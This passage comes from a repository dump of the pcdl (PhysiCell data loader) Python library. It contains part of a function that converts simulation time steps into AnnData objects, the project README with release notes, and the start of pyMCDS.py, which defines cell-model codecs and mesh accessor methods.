essential columns like ID, coordinates\n and time will always be kept.\n\n scale: string; default 'maxabs'\n specify how the data should be scaled.\n possible values are None, maxabs, minmax, std.\n for more input, check out: help(pcdl.scaler)\n\n collapse: boole; default True\n should all mcds time steps from the time series be collapsed\n into one single anndata object, or a list of anndata objects\n for each time step?\n\n keep_mcds: boole; default True\n should the loaded original mcds be kept in memory\n after transformation?\n\n output:\n annmcds or self.l_annmcds: anndata object or list of anndata objects.\n what is returned depends on the collapse setting.\n\n description:\n function to transform mcds time steps into one or many\n anndata objects for downstream analysis.\n \"\"\"\n l_annmcds = []\n df_anncount = None\n df_annobs = None\n df_annspatial = None\n\n # variable triage\n if (states < 2):\n ls_column = list(self.l_mcds[0].get_cell_df().columns)\n else:\n ls_column = sorted(es_coor_cell.difference({'ID'}))\n ls_column.extend(sorted(self.get_cell_df_states(states=states, drop=drop, keep=keep, allvalues=False).keys()))\n\n # processing\n i_mcds = len(self.l_mcds)\n for i in range(i_mcds):\n # fetch mcds\n if keep_mcds:\n mcds = self.l_mcds[i]\n else:\n mcds = self.l_mcds.pop(0)\n # extract time and dataframes\n r_time = round(mcds.get_time(),9)\n print(f'processing: {i+1}/{i_mcds} {r_time}[min] mcds into anndata obj.')\n df_cell = mcds.get_cell_df()\n df_cell = df_cell.loc[:,ls_column]\n df_count, df_obs, df_spatial = _anndextract(df_cell=df_cell, scale=scale)\n # pack collapsed\n if collapse:\n # count\n df_count.reset_index(inplace=True)\n df_count.index = df_count.ID + f'id_{r_time}min'\n df_count.index.name = 'id_time'\n df_count.drop('ID', axis=1, inplace=True)\n if df_anncount is None:\n df_anncount = df_count\n else:\n df_anncount = pd.concat([df_anncount, df_count], axis=0)\n # obs\n df_obs.reset_index(inplace=True)\n df_obs.index = df_obs.ID + f'id_{r_time}min'\n df_obs.index.name = 'id_time'\n if df_annobs is None:\n df_annobs = df_obs\n else:\n df_annobs = pd.concat([df_annobs, df_obs], axis=0)\n # spatial\n df_spatial.reset_index(inplace=True)\n df_spatial.index = df_spatial.ID + f'id_{r_time}min'\n df_spatial.index.name = 'id_time'\n df_spatial.drop('ID', axis=1, inplace=True)\n if df_annspatial is None:\n df_annspatial = df_spatial\n else:\n df_annspatial = pd.concat([df_annspatial, df_spatial], axis=0)\n # pack not collapsed\n else:\n annmcds = ad.AnnData(X=df_count, obs=df_obs, obsm={\"spatial\": df_spatial.values})\n l_annmcds.append(annmcds)\n\n # output\n if collapse:\n annmcdsts = ad.AnnData(X=df_anncount, obs=df_annobs, obsm={\"spatial\": df_annspatial.values})\n else:\n self.l_annmcds = l_annmcds\n annmcdsts = l_annmcds\n return annmcdsts\n\n\n def get_annmcds_list(self):\n \"\"\"\n input:\n self: TimeSeries class instance.\n\n output:\n self.l_annmcds: list of chronologically ordered anndata mcds objects.\n watch out, this is a dereferenced pointer to the\n self.l_annmcds list of anndata mcds objects, not a copy of self.l_annmcds!\n\n description:\n function returns a binding to the self.l_annmcds list of anndata mcds objects.\n \"\"\"\n return self.l_annmcds\n\n" }, { "alpha_fraction": 0.7119761109352112, "alphanum_fraction": 0.7382736802101135, "avg_line_length": 70.3465347290039, "blob_id": "8c88e8a0ed59b4b16fa4915f6f4e6dc77499075b", "content_id": "1f2256007dab9bf06a405ff18811bca5a2babcf1", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 14412, "license_type": "permissive", "max_line_length": 309, "num_lines": 202, "path": "/README.md", "repo_name": "PhysiCell-Tools/python-loader", "src_encoding": "UTF-8", "text": "![physicellcdataloader logo & title](man/img/pcdataloader_title_v3.0.0.png)\n\n## Abstract:\nphysicelldataloader (pcdl) provides a platform independent, python3 based, [pip](https://en.wikipedia.org/wiki/Pip_(package_manager)) installable interface\nto load output, generated with the [PhysiCell](https://github.com/MathCancer/PhysiCell) agent based modeling framework,\ninto [python3](https://en.wikipedia.org/wiki/Python_(programming_language)).\n\npcdl was forked from the original [PhysiCell-Tools](https://github.com/PhysiCell-Tools) [python-loader](https://github.com/PhysiCell-Tools/python-loader) implementation.\n\nThe pcdl python3 library maintains three branches branches:\n\n+ **Branch version 1** is the original PhysiCell-Tools/python-loader code.\n+ **Branch version 2** will be strictly compatible with the original PhysiCell-Tools/python-loader code, although pip installable.\n+ **Branch version 3** might break with old habits, although tries to be as much downward compatible as possible.\n The aim of the v3 branch is to get a very lean and agile python3 physicell output interface, for the ones coming from the python world.\n\n\n## Header:\n+ Language: python [>= 3.8](https://devguide.python.org/versions/)\n+ Library dependencies: anndata, matplotlib, numpy, pandas, scipy\n+ Date of origin original PhysiCell-Tools python-loader: 2019-09-02\n+ Date of origin pcdl fork: 2022-08-30\n+ Doi: https://doi.org/10.5281/ZENODO.8176399\n+ License: [BSD-3-Clause](https://en.wikipedia.org/wiki/BSD_licenses)\n+ User manual: this README.md file\n+ Source code: [https://github.com/elmbeech/physicelldataloader](https://github.com/elmbeech/physicelldataloader)\n\n\n## HowTo Guide:\n+ Check out: [man/HOWTO.md](https://github.com/elmbeech/physicelldataloader/tree/master/man/HOWTO.md)!\n\n\n## Tutorial:\n+ Check out: [man/TUTORIAL.md](https://github.com/elmbeech/physicelldataloader/tree/master/man/TUTORIAL.md)!\n+ Check out: [man/jupyter/pcdl\\_repl\\_programming.ipynb](https://github.com/elmbeech/physicelldataloader/tree/master/man/jupyter/pcdl_repl_programming.ipynb)\n\n## Reference Manual:\n+ Check out: [man/REFERENCE.md](https://github.com/elmbeech/physicelldataloader/tree/master/man/REFERENCE.md)!\n\n\n## Discussion:\nTo be developed.\n\n\n## About Documentation:\nWithin the pcdl library, we tried to stick to the documentation policy lined out by Daniele Procida in his \"[what nobody tells you about documentation](https://www.youtube.com/watch?v=azf6yzuJt54)\" talk at PyCon 2017 in Portland, Oregon.\n\n\n## Contributions:\n+ original PhysiCell-Tools python-loader implementation: Patrick Wall, Randy Heiland, Paul Macklin\n+ fork pcdl implementation: Elmar Bucher\n+ fork pcdl co-programmer and tester: Heber Rocha, Marshal Gress\n\n\n## Cite:\n```bibtex\n@Misc{bucher2023,\n author = {Bucher, Elmar and Wall, Patrick and Gress, Marshal and Rocha, Heber and Heiland, Randy and Macklin, Paul},\n title = {elmbeech/physicelldataloader: pcdl platform-independent, pip-installable interface to load PhysiCell agent-based modeling framework output into python3.},\n year = {2023},\n copyright = {Open Access},\n doi = {10.5281/ZENODO.8176399},\n publisher = {Zenodo},\n}\n```\n\n\n## Road Map:\n+ [vtk file format](https://docs.vtk.org/en/latest/design_documents/VTKFileFormats.html) output, maybe [stl](https://en.wikipedia.org/wiki/STL_(file_format)) and [wavefront obj](https://en.wikipedia.org/wiki/Wavefront_.obj_file) output.\n+ [GML](https://en.wikipedia.org/wiki/Graph_Modelling_Language) ([networkx](https://networkx.org/) and [igraph](https://igraph.org/) compatible) output.\n\n\n## Release Notes:\n+ version 3.2.12 (2023-08-12): elmbeech/physicelldatalodader\n + add **pcdl_repl_programming.ipynb** : Jupyter notebook to give an idea about how to work with pcdl in a Python3 REPL.\n + add github **continuous integration**, all supported python versions, all supported operating systems.\n\n+ version 3.2.11 (2023-08-08): elmbeech/physicelldatalodader\n + **pip install pcdl**: will only install the bare minimum library dependencies.\n + **pip install pcdl[data]**: will install the minimum dependencies plus the dependencies to download the test dataset.\n + **pip install pcdl[scverse]**: will install the minimum dependencies plus the dependencies needed to generate anndata object.\n + **pip install pcdl[all]**: will always install all dependencies.\n + new TimeSeries **get_annmcds_list** function, which, points to the self.l\\_annmcds object.\n + new pyMCDS **get_scatter** function split off from pyMCDSts make\\_imgcell.\n + pyMCDSts **make_imgcell** and **make_imgsubs** bug fixes.\n + TimeStep and TimeSeries **get_anndata** evolution.\n\n+ version 3.2.10 (2023-07-24): elmbeech/physicelldataloader\n + rename pyMCDSts get\\_cell\\_df\\_columns\\_states to **get_cell_df_states** for conciseness.\n + rename pyMCDSts get\\_conc\\_df\\_columns\\_states to **get_conc_df_states** for conciseness.\n\n+ version 3.2.9 (2023-07-23): elmbeech/physicelldataloader\n + new class **TimeStep** can do everything pyMCDS can do and more.\n + new class **TimeSeries** can do everything pyMCDSts can do and more.\n + new TimeStep **get_anndata** function to transform physicell output into [AnnData](https://anndata.readthedocs.io/en/latest/) objects.\n + new TimeSeries **get_anndata** function to transform physicell output into [AnnData](https://anndata.readthedocs.io/en/latest/) objects.\n + internal pyAnnData **scaler** function.\n + internal pyAnnData **\\_anndextract** function.\n + pyMCDS **_\\_init__** seetingxml parameter changed from boolean to string to accept other PhysiCell\\_settings.xml filenames than the default.\n + pyMCDS **get_cell_df** drop and keep parameters to declare a set of columns to be dropped or kept.\n + pyMCDS **get_concentration_df** drop and keep parameters to declare a set of columns to be dropped or kept.\n + new pyMCDS **get_conc_df** shorthand for get\\_concentration\\_df.\n + pyMCDSts get\\_cell\\_minstate\\_col reimplementation as **get_cell_df_columns_states** function.\n + pyMCDSts get\\_concentartion\\_minstate\\_col reimplementation as **get_conc_df_columns_states** function.\n + new pyMCDSts **get_mcds_list** function which, points to the self.l\\_mcds object.\n\n+ version 3.2.8 (2023-06-21): elmbeech/physicelldataloader\n + pyMCDS **get_concentration_df** states parameter to filter out non-informative variables.\n + pyMCDS **get_cell_df** states parameter to filter out non-informative variables.\n + pyMCDSts **_\\_init__** load parameter to specify if the whole time series data straight at object initialization should be loaded.\n + new pyMCDSts **get_cell_minstate_col** function to scan the whole time series for informative features.\n + new pyMCDSts **get_concentartion_minstate_col** function to scan the whole time series for informative features.\n\n+ version 3.2.7 (2023-06-20): elmbeech/physicelldataloader\n + pyMCDS and pyMCDSts **_\\_init__** custom\\_type parameter to specify other custom\\_data variable types (int, bool, str) then the generic float.\n\n+ version 3.2.5 (2023-06-19): elmbeech/physicelldataloader\n + pyMCDS resolve incompatibility with earlier PhysiCell and MultiCellDS versions.\n\n+ version 3.2.4 (2023-06-17): elmbeech/physicelldataloader\n + pyMCDS **_\\_init__** seetingxml parameter for cases where in the output folder no PhysiCell\\_settings.xml can be found.\n + pyMCDSts **mcdsts.make_imgcell** extrema parameter replaced by z\\_axis parameter to account for numerical and categorical variable types.\n\n+ version 3.2.2 (2023-06-16): elmbeech/physicelldataloader\n + pyMCDS **mcds.get_cell_df** sets distinct boolean, categorical, integer number, and real number variable types. categorical number codes are translated. for all spatial variables, the vector length value is calculated and added automatically.\n + new pyMCDS **mcds.get_celltype_dict** function.\n + new pyMCDS **mcds.get_substrate_dict** function.\n + pyMCDSts **mcdsts.make_imgcell** and **mcdsts.make_imgsubs** functions improved.\n\n+ version 3.2.1 (2023-06-12): elmbeech/physicelldataloader\n + pypa odyssey is coming to an end.\n + change build system from setuptools to hatching.\n + change the library name from pcDataLoader to pcdl.\n + to make the library installation more lightweight, test data was excluded from the basic installation.\n given the computer is connected to the internet, test data can easily be installed and removed with the **pcdl.install_data()** and **pcdl.uninstall_data()** functions now.\n\n+ version 3.0.7 (2023-06-08): elmbeech/physicelldataloader\n + pyMCDSts: replaces the svg dependent **mcdsts.make_jpeg**, **mcdsts.make_png**, and **mcdsts.make_tiff** with **mcdsts.make_imgcell** and **mcdsts.make_imgsubs** which generate images straight out of the loaded data. the **mcdsts.make_gif** and **mcdsts.make_movie** functions were adjusted accordingly.\n + pyMCDSts: **mcdsts.read_mcds** loads now automatically all mcds snapshots, if no xmlfile\\_list is provided (default).\n\n+ version 3.0.6 (2023-04-29): elmbeech/physicelldataloader\n + pyMCDS **\\_read_xml** is now able to load time steps with zero cells.\n + pyMCDS **mcds.get_contour** can handle more input parameters.\n\n+ version 3.0.5 (2023-02-26): elmbeech/physicelldataloader pyMCDS **mcds.get_contour** plots span now the whole domain and not only to the border voxel centers.\n+ version 3.0.4 (2023-02-21): elmbeech/physicelldataloader pyMCDS **mcds.get_contour** function, to easily generate for substrates matplotlib contourf and contour plots because they do not exist as pandas plots.\n+ version 3.0.3 (2023-02-19): elmbeech/physicelldataloader branch 3 has no longer anndata and as such hdf5 dependency.\n+ version 3.0.2 (2023-01-06): elmbeech/physicelldataloader bugfix installing package data.\n+ version 3.0.0 (2023-01-06): elmbeech/physicelldataloader\n + **pyMCDS** parameter **xml_file** can now handle path/file.xml (unix) or path\\file.xml (dos) input, as long output_path is the default.\n + **pyMCDS** has a new additional boolean **microenv** parameter, to specify if the microenvironment (substrates) should be read (for completeness) or not (for speed increase and less memory usage).\n + **pyMCDS** has a new additional boolean **graph** parameter, to specify if the attached and neighbor graph should be read.\n + **pyMCDS** has a new additional boolean **verbose** parameter, to specify if there should be text output while processing.\n + pyMCDS **mcds.get_2D_mesh** was renamed to **mcds.get_mesh_2D** for consistency.\n + pyMCDS **mcds.get_linear_voxels** was renamed to **mcds.get_mesh_coordinate** for consistency.\n + pyMCDS **mcds.get_containing_voxel_ijk** was renamed to **mcds.get_voxel_ijk** for briefness.\n + pyMCDS **mcds.get_voxel_spacing** returns now 3 specific values, one for x, y, and z, instead of 1 general value.\n + pyMCDS **mcds.get_concentrations** was renamed to **mcds.get_concentration** for consistency\n + pyMCDS **mcds.get_concentrations_at** was renamed to **mcds.get_concentration_at** for consistency\n + pyMCDS **mcds.get_concentration_at** if z_slice is not a mesh center value, the function will by default adjust to nearest and no longer break.\n + pyMCDS **mcds.get_cell_variables** and **mcds.get_substrate_names** return now a strictly alphabetically ordered list.\n + pyMCDS **mcds.get_cell_df** returns now a pandas dataframe with the cell IDs as the index and not as a column.\n additionally, this dataframe contains now voxel, mesh_center, substrate parameter, substrate concentration, and cell density information too.\n + new pyMCDS **mcds.get_concentration_df** function.\n + new pyMCDS **mcds.get_substrate_df** function.\n + new pyMCDS **mcds.get_unit_se** function.\n + new pyMCDS **mcds.get_multicellds_version** function.\n + new pyMCDS **mcds.get_physicell_version** function.\n + new pyMCDS **mcds.get_runtime** function.\n + new pyMCDS **mcds.get_timestamp** function.\n + new pyMCDS **mcds.get_voxel_ijk_range** function.\n + new pyMCDS **mcds.get_voxel_ijk_axis** function.\n + new pyMCDS **mcds.get_voxel_spacing** function.\n + new pyMCDS **mcds.get_voxel_volume** function.\n + new pyMCDS **mcds.get_mesh_mnp_range** function.\n + new pyMCDS **mcds.get_mesh_mnp_axis** function.\n + new pyMCDS **mcds.get_xyz_range** function.\n + new pyMCDS **mcds.is_in_mesh** function.\n + new pyMCDS **mcds.get_attached_graph_dict** function.\n + new pyMCDS **mcds.get_neigbor_graph_dict** function.\n + class **pyMCDS_timeseries** was renamed to **pyMCDSts** and completely rewritten.\n + new pyMCDSts **get_xmlfile_list** function.\n + new pyMCDSts **read_mcds** function.\n + new pyMCDSts **make_jpeg** function.\n + new pyMCDSts **make_png** function.\n + new pyMCDSts **make_tiff** function.\n + new pyMCDSts **make_gif** function.\n + new pyMCDSts **make_movie** function.\n + all **plotting** functions were removed because pcdl only focus on making the raw data in python easy accessible for in-depth analysis.\n + cell position coordinates are now constantly labeled as **x,y,z**, mesh center coordinates as **m,n,p**, and voxel coordinates as **i,j,k**.\n + the underling [mcds object data dictionary structure](https://github.com/elmbeech/physicelldataloader/tree/master/man/img/physicelldataloader_data_dictionary_v3.0.0.png) has changed.\n + [pytest](https://en.wikipedia.org/wiki/Pytest) unit tests exist now for all pyMCDS and pyMCDSts functions.\n\n+ version 2.0.3 (2023-06-16): elmbeech/physicelldataloader pypa odyssey is coming to an end.\n+ version 2.0.2 (2023-01-06): elmbeech/physicelldataloader reset patch voxel spacing bugfix, so that branch2 is full compatible with branch1 again. use branch3 for a bugfixed version!\n+ version 2.0.1 (2022-11-08): elmbeech/physicelldataloader beta release patch voxel spacing bugfix.\n+ version 2.0.0 (2022-08-30): elmbeech/physicelldataloader pip installable release, derived from and compatible with PhysiCell-Tools/python-loader release 1.1.0 (2022-07-20).\n\n+ version 1.1.1 (2022-07-01): elmbeech/physicelldataloader deprecated np.float replaced with np.float64.\n+ version 1.1.0 (2022-05-09): Physicell-Tools/python-loader release compatible with pre-v1.10.x of PhysiCell.\n+ version 1.0.1 (2020-01-25): Physicell-Tools/python-loader time-series related bug fix.\n+ version 1.0.0 (2019-09-28): Physicell-Tools/python-loader first public release!\n" }, { "alpha_fraction": 0.5416814684867859, "alphanum_fraction": 0.5466214418411255, "avg_line_length": 35.87033462524414, "blob_id": "6a23136f0c39fb92e1dee000434711f166c28e38", "content_id": "a2afd9139f2869eac62c2f9aea6e8e202dbc8c11", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 73078, "license_type": "permissive", "max_line_length": 200, "num_lines": 1982, "path": "/pcdl/pyMCDS.py", "repo_name": "PhysiCell-Tools/python-loader", "src_encoding": "UTF-8", "text": "#########\n# title: pyMCDS.py\n#\n# language: python3\n# date: 2022-08-22\n# license: BSD-3-Clause\n# authors: Patrick Wall, Randy Heiland, Paul Macklin, Elmar Bucher\n#\n# description:\n# pyMCDS.py definds an object class, able to load and access\n# within python a single time step from the PhysiCell model output folder.\n# pyMCDS.py was forked from the original PhysiCell-Tools python-loader\n# implementation and further developed.\n#########\n\n\n# load library\nimport matplotlib.pyplot as plt\nfrom matplotlib import cm\nfrom matplotlib import colors\nimport numpy as np\nimport pandas as pd\nfrom pcdl import pdplt\nfrom scipy import io\nimport sys\nimport xml.etree.ElementTree as ET\n\n\n# const physicell codec\n# implemation based on PhysiCell/core/PhysiCell_constants.h.\nds_cycle_model = {\n '0' : 'advanced_Ki67_cycle_model',\n '1' : 'basic_Ki67_cycle_model',\n '2' : 'flow_cytometry_cycle_model',\n '3' : 'live_apoptotic_cycle_model',\n '4' : 'total_cells_cycle_model',\n '5' : 'live_cells_cycle_model',\n '6' : 'flow_cytometry_separated_cycle_model',\n '7' : 'cycling_quiescent_model',\n}\nds_death_model = {\n '100' : 'apoptosis_death_model',\n '101' : 'necrosis_death_model',\n '102' : 'autophagy_death_model',\n '9999' : 'custom_cycle_model',\n}\n\nds_cycle_phase = {\n '0' : 'Ki67_positive_premitotic',\n '1' : 'Ki67_positive_postmitotic',\n '2' : 'Ki67_positive',\n '3' : 'Ki67_negative',\n '4' : 'G0G1_phase',\n '5' : 'G0_phase',\n '6' : 'G1_phase',\n '7' : 'G1a_phase',\n '8' : 'G1b_phase',\n '9' : 'G1c_phase',\n '10' : 'S_phase',\n '11' : 'G2M_phase',\n '12' : 'G2_phase',\n '13' : 'M_phase',\n '14' : 'live',\n '15' : 'G1pm_phase',\n '16' : 'G1ps_phase',\n '17' : 'cycling',\n '18' : 'quiescent',\n '9999' : 'custom_phase',\n}\nds_death_phase = {\n '100' : 'apoptotic',\n '101' : 'necrotic_swelling',\n '102' : 'necrotic_lysed',\n '103' : 'necrotic',\n '104' : 'debris',\n}\n\n# const physicell variable names\nes_var_subs = {\n 'chemotactic_sensitivities',\n 'fraction_released_at_death',\n 'fraction_transferred_when_ingested',\n 'internalized_total_substrates',\n 'net_export_rates',\n 'saturation_densities',\n 'secretion_rates',\n 'uptake_rates',\n}\nes_var_death = {\n 'death_rates',\n}\nes_var_cell = {\n 'attack_rates',\n 'cell_adhesion_affinities',\n 'fusion_rates',\n 'live_phagocytosis_rates',\n 'transformation_rates',\n}\nes_var_spatial = {\n 'migration_bias_direction',\n 'motility_vector',\n 'orientation',\n 'position',\n 'velocity',\n}\n\n# const physicell variable types\ndo_var_type = {\n # integer\n 'ID': int,\n 'cell_count_voxel': int,\n 'chemotaxis_index': int,\n 'maximum_number_of_attachments': int,\n 'number_of_nuclei': int,\n # boolean\n 'contact_with_basement_membrane': bool,\n 'dead': bool,\n 'is_motile': bool,\n # categorical\n 'cell_type': str, # id mapping\n 'current_death_model': str, # codec mapping\n 'current_phase': str, # codec mapping\n 'cycle_model': str, # codec mapping\n}\n\n# const coordinate variable names\nes_coor_conc = {\n 'ID',\n 'voxel_i','voxel_j','voxel_k',\n 'mesh_center_m','mesh_center_n','mesh_center_p',\n 'time', 'runtime',\n}\nes_coor_cell = {\n 'ID',\n 'voxel_i', 'voxel_j', 'voxel_k',\n 'mesh_center_m', 'mesh_center_n', 'mesh_center_p',\n 'position_x', 'position_y', 'position_z',\n 'time', 'runtime',\n}\n\n\n# functions\ndef graphfile_parser(s_pathfile):\n \"\"\"\n input:\n s_pathfile: string\n path to and file name from graph.txt file.\n\n output:\n dei_graph: dictionary of sets of integers.\n object maps each cell ID to connected cell IDs.\n\n description:\n code parses PhysiCell's own graphs format and\n returns the content in a dictionary object.\n \"\"\"\n # processing\n dei_graph = {}\n f = open(s_pathfile)\n for i, s_line in enumerate(f):\n #print('processing line:', s_line.strip())\n s_key, s_value = s_line.strip().split(':')\n ei_value = set()\n if len(s_value.strip()) :\n ei_value = set([int(s_id) for s_id in s_value.split(',')])\n dei_graph.update({int(s_key): ei_value})\n f.close()\n\n # output\n return dei_graph\n\n\n# object classes\nclass pyMCDS:\n \"\"\"\n input:\n xmlfile: string\n name of the xml file with or without path.\n in the with path case, output_path has to be set to the default!\n\n output_path: string; default '.'\n relative or absolute path to the directory where\n the PhysiCell output files are stored.\n\n custom_type: dictionary; default is {}\n variable to specify custom_data variable types\n other than float (int, bool, str) like this: {var: dtype, ...}.\n downstream float and int will be handled as numeric,\n bool as Boolean, and str as categorical data.\n\n microenv: boole; default True\n should the microenvironment be extracted?\n setting microenv to False will use less memory and speed up\n processing, similar to the original pyMCDS_cells.py script.\n\n graph: boole; default True\n should the graphs be extracted?\n setting graph to False will use less memory and speed up processing.\n\n settingxml: string; default PhysiCell_settings.xml\n from which settings.xml should the substrate and cell type\n ID label mapping be extracted?\n set to None or False if the xml file is missing!\n\n verbose: boole; default True\n setting verbose to False for less text output, while processing.\n\n output:\n mcds: pyMCDS class instance\n all fetched content is stored at mcds.data.\n\n description:\n pyMCDS.__init__ will generate a class instance with a\n dictionary of dictionaries data structure that contains all\n output from a single PhysiCell model time step. furthermore,\n this class, and as such it's instances, offers functions\n to access the stored data.\n the code assumes that all related output files are stored in\n the same directory. data is loaded by reading the xml file\n for a particular time step and the therein referenced files.\n \"\"\"\n def __init__(self, xmlfile, output_path='.', custom_type={}, microenv=True, graph=True, settingxml='PhysiCell_settings.xml', verbose=True):\n self.custom_type = custom_type\n self.microenv = microenv\n self.graph = graph\n if type(settingxml) is str:\n settingxml = settingxml.replace('\\\\','/').split('/')[-1]\n self.settingxml = settingxml\n self.verbose = verbose\n self.data = self._read_xml(xmlfile, output_path)\n self.get_conc_df = self.get_concentration_df\n\n\n ## METADATA RELATED FUNCTIONS ##\n\n def get_multicellds_version(self):\n \"\"\"\n input:\n self: pyMCDS class instance.\n\n output:\n s_version : sting\n MultiCellDS xml version which stored the data.\n\n description:\n function returns as a string the MultiCellDS xml version\n that was used to store this data.\n \"\"\"\n return self.data['metadata']['multicellds_version']\n\n\n def get_physicell_version(self):\n \"\"\"\n input:\n self: pyMCDS class instance.\n\n output:\n s_version : sting\n PhysiCell version which generated the data.\n\n description:\n function returns as a string the PhysiCell version\n that was used to generate this data.\n \"\"\"\n return self.data['metadata']['physicell_version']\n\n\n def get_timestamp(self):\n \"\"\"\n input:\n self: pyMCDS class instance.\n\n output:\n s_timestap : sting\n timestamp from when this data was generated.\n\n description:\n function returns as a string the timestamp from when\n this data was generated.\n \"\"\"\n return self.data['metadata']['created']\n\n\n def get_time(self):\n \"\"\"\n input:\n self: pyMCDS class instance.\n\n output:\n r_time : floating point number\n simulation time in [min].\n\n description:\n function returns as a real number\n the simulation time in minutes.\n \"\"\"\n return self.data['metadata']['current_time']\n\n\n def get_runtime(self):\n \"\"\"\n input:\n self: pyMCDS class instance.\n\n output:\n r_time : floating point number\n wall time in [sec].\n\n description:\n function returns as a real number, the wall time in seconds\n the simulation took to run up to this time step.\n \"\"\"\n return self.data['metadata']['current_runtime']\n\n\n ## MESH RELATED FUNCTIONS ##\n\n def get_voxel_ijk_range(self):\n \"\"\"\n input:\n self: pyMCDS class instance.\n\n output:\n lti_i : list of tuple of 2 integer numbers\n i-axis, j-aixs, and k-axis voxel range.\n\n decritpion:\n function returns in a list of tuples the lowest and highest\n i-axis, j-axis, and k-axis voxel value.\n \"\"\"\n return self.data['mesh']['ijk_range'].copy()\n\n\n def get_mesh_mnp_range(self):\n \"\"\"\n input:\n self: pyMCDS class instance.\n\n output:\n ltr_mnp : list of tuple of 2 floating point numbers\n m-axis, n-axis, and p-axis mesh center range.\n\n decritpion:\n function returns in a list of tuples the lowest and highest\n m-axis, n-axis, and p-axis mesh center value.\n \"\"\"\n return self.data['mesh']['mnp_range'].copy()\n\n\n def get_xyz_range(self):\n \"\"\"\n input:\n self: pyMCDS class instance.\n\n output:\n ltr_xyz : list of tuple of 2 floating point numbers\n x-axis, y-axis, and z-axis position range.\n\n decritpion:\n function returns in a list of tuples the lowest and highest\n x-axis, y-axis, and z-axis position value.\n \"\"\"\n return self.data['mesh']['xyz_range'].copy()\n\n\n def get_voxel_ijk_axis(self):\n \"\"\"\n input:\n self: pyMCDS class instance.\n\n output:\n lai_ijk : list of 3 numpy arrays of integer numbers\n i-axis, j-axis, and k-axis voxel coordinates axis.\n\n description:\n function returns a list of voxel coordinate vectors,\n one for the i-axis, j-axis, and k-axis.\n \"\"\"\n return self.data['mesh']['ijk_axis'].copy()\n\n\n def get_mesh_mnp_axis(self):\n \"\"\"\n input:\n self: pyMCDS class instance.\n\n output:\n lar_mnp : list of 3 numpy arrays of floating point numbers\n m-axis, n-axis, and p-axis mesh center axis coordinates.\n\n description:\n function returns a list of mesh center vectors,\n one for the m-axis, n-axis, and p-axis.\n \"\"\"\n return self.data['mesh']['mnp_axis'].copy()\n\n\n def get_mesh(self, flat=False):\n \"\"\"\n input:\n self: pyMCDS class instance.\n\n flat : bool; default False\n if flat is True, only the m-axis mesh center\n and n-axis mesh center meshgrids will be returned.\n else the m, n, and p mesh center meshgrids will be returned.\n\n output:\n aar_meshgrid : 4-way (3D) or 3-way (2D) numpy arrays tensor of floating point numbers\n meshgrid shaped object, with the mesh center\n coordinate values from the m, n, p-axis or m, n-axis.\n\n description:\n function returns a numpy array of meshgrids each stores the\n mesh center coordinate values from one particular axis.\n the function can either return meshgrids for the full\n m, n, p 3D cube, or only the 2D planes along the p-axis.\n \"\"\"\n if flat:\n ar_m = self.data['mesh']['mnp_grid'][0][:, :, 0]\n ar_n = self.data['mesh']['mnp_grid'][1][:, :, 0]\n return np.array([ar_m, ar_n]).copy()\n\n else:\n return self.data['mesh']['mnp_grid'].copy()\n\n\n def get_mesh_2D(self):\n \"\"\"\n input:\n self: pyMCDS class instance.\n\n output:\n aar_meshgrid : 3-way numpy arrays tensor of floating point numbers\n meshgrid shaped objects, with the mesh center\n coordinate values from the m and n-axis.\n\n description:\n function is identical to the self.get_mesh(self, flat=True)\n function call.\n \"\"\"\n return self.get_mesh(flat=True)\n\n\n def get_mesh_coordinate(self):\n \"\"\"\n input:\n self: pyMCDS class instance.\n\n output:\n aar_meshaxis : numpy array of 3 one dimensional numpy floating point number arrays\n n, m, and p-axis mesh center coordinate vectors.\n\n description:\n function returns three vectors with mesh center coordinate values,\n one for each axis.\n \"\"\"\n return self.data['mesh']['mnp_coordinate'].copy()\n\n\n def get_voxel_volume(self):\n \"\"\"\n input:\n self: pyMCDS class instance.\n\n output:\n r_volume: floating point number\n voxel volume value related to the spacial unit\n defined in the PhysiCell_settings.xml file.\n\n description:\n function returns the volume value for a single voxel, related\n to the spacial unit defined in the PhysiCell_settings.xml file.\n \"\"\"\n ar_volume = np.unique(self.data['mesh']['volumes'])\n if ar_volume.shape != (1,):\n sys.exit(f'Error @ pyMCDS.get_voxel_volume : mesh is not built out of a unique voxel volume {ar_volume}.')\n r_volume = ar_volume[0]\n return r_volume\n\n\n def get_mesh_spacing(self):\n \"\"\"\n input:\n self: pyMCDS class instance.\n\n output:\n lr_mnp_spacing: list of 3 floating point numbers\n mesh spacing in m, n, and p direction.\n\n description:\n function returns the distance in between mesh centers,\n in the spacial unit defined in the PhysiCell_settings.xml file.\n \"\"\"\n tr_m_range, tr_n_range, tr_p_range = self.get_mesh_mnp_range()\n ar_m_axis, ar_n_axis, ar_p_axis = self.get_mesh_mnp_axis()\n\n dm = (tr_m_range[1] - tr_m_range[0]) / (ar_m_axis.shape[0] - 1)\n dn = (tr_n_range[1] - tr_n_range[0]) / (ar_n_axis.shape[0] - 1)\n if (len(set(tr_p_range)) == 1):\n dp = 1\n else:\n dp = (tr_p_range[1] - tr_p_range[0]) / (ar_p_axis.shape[0] - 1)\n return [dm, dn, dp]\n\n\n def get_voxel_spacing(self):\n \"\"\"\n input:\n self: pyMCDS class instance.\n\n output:\n lr_ijk_spacing: list of 3 floating point numbers\n voxel spacing in i, j, and k direction.\n\n description:\n function returns the voxel width, height, depth measurement,\n in the spacial unit defined in the PhysiCell_settings.xml file.\n \"\"\"\n r_volume = self.get_voxel_volume()\n dm, dn, _ = self.get_mesh_spacing()\n dp = r_volume / (dm * dn)\n return [dm, dn, dp]\n\n\n def is_in_mesh(self, x, y, z, halt=False):\n \"\"\"\n input:\n self: pyMCDS class instance.\n\n x: floating point number\n position x-coordinate.\n\n y: floating point number\n position y-coordinate.\n\n z: floating point number\n position z-coordinate.\n\n halt: boolean; default is False\n should program execution break or just spit out a warning,\n if position is not in mesh?\n\n output:\n b_isinmesh: boolean\n declares if the given coordinate is inside the mesh.\n\n description:\n function evaluates, if the given position coordinate\n is inside the boundaries. if the coordinate is outside the\n mesh, a warning will be printed. if additionally\n halt is set to True, program execution will break.\n \"\"\"\n b_isinmesh = True\n\n # check against boundary box\n tr_x, tr_y, tr_z = self.get_xyz_range()\n\n if (x < tr_x[0]) or (x > tr_x[1]):\n print(f'Warning @ pyMCDS.is_in_mesh : x = {x} out of bounds: x-range is {tr_x}.')\n b_isinmesh = False\n elif (y < tr_y[0]) or (y > 